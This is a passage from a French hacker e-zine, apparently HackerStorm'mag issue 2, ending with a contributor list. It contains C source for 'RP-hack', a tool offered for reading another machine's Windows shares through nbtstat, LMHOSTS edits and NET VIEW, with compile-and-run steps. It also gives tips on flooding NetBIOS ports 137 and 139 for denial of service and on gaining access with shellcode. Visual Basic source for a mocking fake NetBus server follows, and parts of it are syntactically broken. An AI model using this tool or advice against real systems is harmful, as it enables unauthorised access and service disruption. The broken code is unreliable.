puts("Usage: RP-hack [IP possédant les ressources partagées]\n\

Programme de ressources partagées par KoP pour le groupe HackerStorm.\n\

Pour plus d'informations: HackerStorm@HotMail.com\n");

return 1;

}

printf(ETAPE,"1:\n\n----------------------\nListe\n----------------------");

char buf[80];

sprintf(buf,"nbtstat -a %s",argv[1]);

system(buf);

puts("\n----------------------\n\n\"Failed to access NBT Driver 1\" --> partagez vos ressources.\n\

\"Host not found\" --> non connecté ou pas de ressources partagées … cette IP\n\n\

Appuyez sur (2) si vous voyez <20> dans la liste.\n");

if(getch()!='2')

return 0;

printf(ETAPE,"2:\n\nTapez le nom de l'ordinateur(devant <20>): ");

char nom[80];

gets(nom);

FILE* entree;entree=fopen("C:\\WIN\\LMHOSTS","wb");

fprintf(entree,"%s %s #PRE",argv[1],nom);

fclose(entree);

system("nbtstat -R");

printf(ETAPE,"3:\n\nVoici ce qui est partag‚ sur l'ordinateur distant :");

sprintf(buf,"NET VIEW \\\\%s",nom);system(buf);

printf("\n\nVous devez maintenant aller dans Démarrer -> Rechercher -> Ordinateur\n\

et rechercher \"%s\". Quand il l'aura trouv‚ vous aurez accès\n\

aux données partagées de cet ordinateur.\n",nom);

return 0;

}

--------------------------------------------------------------------------------------------------

Copiez et collez cette source dans un fichier RP-hack.cpp.

Pour utiliser ce programme, vous devez dabord le compiler avec un compilateur C/C++

de Microsoft, Borland,... Ensuite saisissez sur la ligne de commande:

"RP-hack" + l'ip de l'ordinateur qui a les ressources partagées.

Quelques explications sur les ressources partagées:

Les ressources partagées utilisent le protocole TCP/IP avec le transfert TCP.

L'activation du partage nécessite l'ouverture de 3 ports, le:

- 137 : TCP Netbios name (permet le retour de données du nbtstat et du net view)

- 138 : TCP Netbios datagram (port utilisé pour le transfert des fichiers)

- 139 : TCP Netbios session (port utilisé pour le transfert d'informations et de commandes)

Dans la version 95 de windows, ces ports permettez de faire des DOS(denial of service) attack

par l'envoi de message out of band sur l'un de ces ports(ex: Winnuke). Ce problème a été corrigé

dans les nouvelles versions de windows. Lorsque les ressources partagées sont activées,

vous pouvez flooder le port 137 en faisant de multiples demandes de nom d'host ou le port 139

en vous connectant et en envoyant des multitudes de commandes qui requiert beaucoup

de temps(ex: LSTDRV) en très peu de temps. Vous avez aussi la possibilité d'utiliser le

buffer overflow ou mieux des shell code pour avoir accès à l'ordinateur sans avoir besoin du pass.

By KoP

2 - Emulateur NetBus en Visual-Basic par KoP

Dans notre premier mag, nous vous avions donné la source d'un émulateur NetBus de base.

Pour le deuxième, j'ai décidé de l'améliorer et de le faire plus convivial.

Le language utilisé est toujours le même: le Visual-Basic.

Conception:

* Créez un nouveau projet.

* Ajoutez le composant Microsoft Winsock Control (Ctrl+T)

* Dans le formulaire de projet, créez :

- une ListBox et nommez la list

- une TextBox et nommez la texte

- une ComboBox et nommez la Combo1

Dans la liste de Combo1, mettez: Message et Infos

- un CommandButton et nommez le Command1

Mettez "Bloquer SetMousePos" pour sa caption.

- un objet Winsock et nommez le Winsock

COPIER/COLLER -------------------------------------------------------------------------------------------

Dim blok As Boolean

Private Sub Form_Load()

' Mise à 0 du blocage de SetMousePos

blok = False

' Listen sur le port server NetBus:12345

Winsock.Close

Winsock.LocalPort = 12345

Winsock.Listen

End Sub

' Bouton pour bloquer le flood du SetMousePos

Private Sub Command1_Click()

If blok = True Then blok = False: Command1.Caption = "Bloquer SetMousePos": Exit Sub

If blok = False Then blok = True: Command1.Caption= "Débloquer SetMousePos":Exit Sub

End Sub

Private Sub texte_KeyPress(KeyAscii As Integer)

' Envoi de messages réponses sur le client

If KeyAscii = 13 And Combo1.text = "Message" Then

Winsock.SendData "Msg;" + texte.text + vbCrLf: Exit Sub

End If

' Envoi de boite de messages sur le client

If KeyAscii = 13 And Combo1.text = "Infos" Then

Winsock.SendData "Info;" + texte.text + vbCrLf: Exit Sub

End If

End Sub

Private Sub Winsock_ConnectionRequest(ByVal requestID As Long)

' Accépter une connection

Winsock.Close

Winsock.Accept requestID

' Envoi de la signature de NetBus 1.7

' Un "x" après la signature signifie qu'il faut entrer un password

Winsock.SendData Chr(10) + "NetBus 1.7" + vbCrLf

List.AddItem "*** Connection de " + Winsock.RemoteHostIP + " ***"

End Sub

Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)

Dim dat As String

Dim text As String

Winsock.GetData dat

' Obtenir les clients autorisés à se connecter

If dat = "GetACL" + Chr(13) Then

List.AddItem "Recherche de servers":

Winsock.SendData "ACLInfo;Bon, mon gars,|faut que je te dise que je suis|un

Hacker. Arrête de me faire|pitier avec tes trojans sinon ça va|aller mal pour toi."

+ Chr(13):

Exit Sub

End If

' Ouvrir le lecteur de CD-ROM

If dat = "Eject;1" + Chr(13) Then List.AddItem "Ouverture du CD": Exit Sub

' Fermer le lecteur de CD-ROM

If dat = "Eject;0" + Chr(13) Then List.AddItem "Fermeture du CD": Exit Sub

' Afficher aucune image(cacher les images affichées)

If dat = "ShowImage;" + Chr(13) Then List.AddItem "Cachage de l'image": Exit Sub

' Afficher une image

If Mid$(dat, 1, 10) = "ShowImage;" Then

List.AddItem "Affichage de l'image " + Mid$(dat, 11, Len(dat) - 11): Exit Sub

End If

' Lancer une application

If Mid$(dat, 1, 9) = "StartApp;" Then

List.AddItem "Lancement de " + Mid$(dat, 10, Len(dat) - 10): Exit Sub

End If

' Inverser les boutons de la souris

If dat = "SwapButton;1" + Chr(13) Then

List.AddItem "Inversement des boutons de la souris": Exit Sub

End If

' Remettre les boutons de la souris en ordre

If dat = "SwapButton;0" + Chr(13) Then

List.AddItem "Remise à la normal des boutons de la souris": Exit Sub

End If

' Envoi d'un message avec demande de réponse

If Mid$(dat, 1, 10) = "Message;1;" Then

List.AddItem "Discution: " + Mid$(dat, 11, Len(dat) - 11): Exit Sub

End If

' Envoi de message

If Mid$(dat, 1, 10) = "Message;0;" Then

text = ""

For i = 11 To Len(dat)

If Mid$(dat, i, 1) = ";" Then

List.AddItem "Message: " + text:

Winsock.SendData"Answer;Person answered: Tu crois me faire peur??" + vbCrLf:

Exit Sub

End If

text = text + Mid$(dat, i, 1)

Next i

Exit Sub

End If

' Capture de l'écran

If dat = "CaptureScreen" + Chr(13) Then

Winsock.SendData "CaptureReady;0" + vbCrLf:

List.AddItem "Capture de l'écran": Exit Sub

End If

' Obtenir les informations

If dat = "GetInfo" + Chr(13) Then

List.AddItem "Prise des infos":

Winsock.SendData "Info;Program Path: /bin/hack/exploit/Netbus[by KOP]

Restart persistent: Dans tes rèves|Login ID: KOPSTORM the best hacker

Clients connected to this host: 1 malheureux trou du cul" + vbCrLf:

Exit Sub

End If

' Redirection du port

If dat="PortRedir;"+Chr(13) Then List.AddItem"Fermeture du port de redirection":Exit Sub

If Mid$(dat, 1, 10) = "PortRedir;" Then

List.AddItem "Ouverture du port de redirection [" + Mid$(dat, 11, Len(dat) - 11) + "]"

text = ""

For i = 11 To Len(dat)

If Mid$(dat, i, 1) = ";" Then

If Int(text) < 100 Then

Winsock.SendData "Info;Le port du server doit être supérieur à 100." + vbCrLf

End If

Exit Sub

End If

text = text + Mid$(dat, i, 1)

Next i

Exit Sub

End If

' Lancement d'un son

If Mid$(dat, 1, 10) = "PlaySound;" Then

List.AddItem "Lancement du son " + Mid$(dat, 11, Len(dat) - 11): Exit Sub

End If

' Envoi d'une lettre

If Mid$(dat, 1, 12) = "Sendkeys;0;" Then

List.AddItem "Séléction du texte : " + Mid$(dat, 13, Len(dat) - 13): Exit Sub

End If

' Recherche des applications lancées

If dat = "GetApps" + Chr(13) Then

List.AddItem "Recherche des applications lancées":

Winsock.SendData "AppNames;Hacking(Us.governement)|IRC[#hackerstorm]

End If

' Fermeture de l'application

If Mid$(dat, 1, 8) = "KillApp;" Then

List.AddItem "Kill de l'application " + Mid$(dat, 9, Len(dat) - 9): Exit Sub

End If

' Focus de l'application

If Mid$(dat, 1, 9) = "FocusApp;" Then

List.AddItem "Focus de l'application " + Mid$(dat, 10, Len(dat) - 10): Exit Sub

End If

' Séléction de la position de la souris(marquer si SetMousePos n'est pas bloqué)

If Mid$(dat, 1, 12) = "SetMousePos;" And blok = False Then

List.AddItem"Définition de la position de la souris "+Mid$(dat, 13, Len(dat) - 13)

Exit Sub

End If

If Mid$(dat, 1, 12) = "SetMousePos;" And blok = True Then Exit Sub

' Fermeture de la redirection d'application

If dat="AppRedir;"+Chr(13) Then List.AddItem"Fermeture du port de redirection":Exit Sub

' Redirection d'une application sur un port (I/O)

If Mid$(dat, 1, 9) = "AppRedir;" Then

List.AddItem "Ouverture du port de redirection pour applications ["

+ Mid$(dat, 10, Len(dat) - 10) + "]"

For i = 10 To Len(dat)

If Mid$(dat, i, 1) = ";" Then

text = Mid$(dat, i + 1, Len(dat) - i - 1)

If Int(text) < 100 Then

Winsock.SendData "Info;Le port du server doit être supérieur à 100." + vbCrLf

Exit Sub

End If

Next i

Exit Sub

End If

' Envoi d'un caractère clavier

If Mid$(dat, 1, 9) = "SendKeys;" Then

List.AddItem "Envoi de key[" + Mid$(dat, 10, Len(dat) - 10) + "]": Exit Sub

End If

' Obtenir le volume du son

If dat = "GetVolume" + Chr(13) Then

List.AddItem "Recherche du volume sonore système":

Winsock.SendData "VolumeInfo;130;130;130" + Chr(13) + vbCrLf: Exit Sub

End If

' Changer le volume du son

If Mid$(dat, 1, 10) = "SetVolume;" Then

List.AddItem "Séléction du volume[" + Mid$(dat, 11, Len(dat) - 11) + "]":Exit Sub

End If

' Enregistrer le son micro

If Mid$(dat, 1, 7) = "Record;" Then

List.AddItem "Record pendant " + Mid$(dat, 8, Len(dat) - 8) + " secondes"

Winsock.SendData "RecordResponse;0" + Chr(13) + vbCrLf: Exit Sub

End If

' Changer des options(pass,mail,...)

If Mid$(dat, 1, 9) = "NewSetup;" Then

List.AddItem "Changement d'options -> " + Mid$(dat, 10, Len(dat) - 10): Exit Sub

End If

' Obtenir les options

If dat = "GetSetup" + Chr(13) Then

List.AddItem "Recherches des options"

Winsock.SendData "SetupInfo;12345;1;;;KoP@hackerstorm.com;smtp.wanadoo.fr" + vbCrLf

Exit Sub

End If

' Ouvrir l'explorateur internet à une URL

If Mid$(dat, 1, 4) = "URL;" Then

List.AddItem "Explorateur internet à " + Mid$(dat, 5, Len(dat) - 5): Exit Sub

End If

' Bloquer des boutons souris

If Mid$(dat, 1, 10) = "KeyClick;1" Then List.AddItem "Mise du key click": Exit Sub

' Remettre les boutons souris

If Mid$(dat, 1, 10) = "KeyClick;0" Then List.AddItem "Arrêt du key click": Exit Sub

If Mid$(dat, 1, 14) = "DisableKeys;0;" Then

List.AddItem "Arrêt du blocage des touches": Exit Sub

End If

' Bloquerles touches clavier

If Mid$(dat, 1, 14) = "DisableKeys;1;" Then

List.AddItem "Blocage des touches: " + Mid$(dat, 15, Len(dat) - 15): Exit Sub

End If

' Recherche des disques

If dat = "GetDisks" + Chr(13) Then

List.AddItem "Recherche des infos sur le disque":

Winsock.SendData "DisksDone;572519" + vbCrLf: Exit Sub

End If

' Supprimer un fichier

If Mid$(dat, 1, 8) = "DelFile;" Then

List.AddItem "Suppression de " + Mid$(dat, 9, Len(dat) - 9): Exit Sub

End If

' Fermer Windows

If Mid$(dat, 1, 8) = "ExitWin;" Then

List.AddItem "Fermeture de windows (type " + Mid$(dat, 9, 1) + ")": Exit Sub

List.AddItem dat

End Sub

End If

End Sub

Private Sub Winsock_Close()

' Re-listener après une déconnection

Winsock.Close

Winsock.LocalPort = 12345

Winsock.Listen

List.AddItem "*** Déconnection de " + Winsock.RemoteHostIP

End Sub

Private Sub Winsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long,

ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long,

CancelDisplay As Boolean)

' En cas d'erreur de connection, re-listener sur le port NetBus:12345

Winsock.Close

Winsock.LocalPort = 12345

Winsock.Listen

End Sub

--------------------------------------------------------------------------------------------------

By KoP

************************************************************************************

* LE MOT DE LA FIN par KOP *

************************************************************************************

Voilà, c'est la fin de ce deuxième e-mag. Nous avons mis plus de temps pour le faire

et j'espère qu'il vous a plu.

Je ne sais pas encore si le HackerStorm'mag 3 sortira un jours mais

en tout cas j'espère ne pas avoir fait ça pour rien.

Donc si cet e-mag vous a plu, merci de m'envoyer un e-mail

pour me le faire savoir et pour m'encourager à continuer HackerStorm'mag.

Toutefois, si on devait sortir le 3, je vous demanderais de m'envoyer vos articles

à KoP@HackerStorm.Com

Je me ferais un plaisir d'ajouter votre pseudo à cette liste qui ne contient

que les personnes ayant écrit dans ce mag :

- KoP : fondateur du groupe.

S'occupe de la mise en page des e-mags.

Ecrit des articles dans tous les domaines.

E-Mail : KoP@HackerStorm.Com

- Lauspeed : Ecrit des articles originaux et débute

en programmation Winsock, en cracking.

- Tipiax : Ecrit des articles sur le cracking et l'assembleur.

E-Mail :Tipiax@HackerStorm.Com

- Sboub : Ecrit des articles sur la programmation.

E-Mail: SBOUB666@hotmail.com

- Alexia[SKY] : Ecrit des articles sur le cracking.

Site WEB: www.skygames.fr.st

E-Mail : Alexia_SKY@caramail.com

Voilà, à bientôt dans un prochain HackerStorm'mag. :o)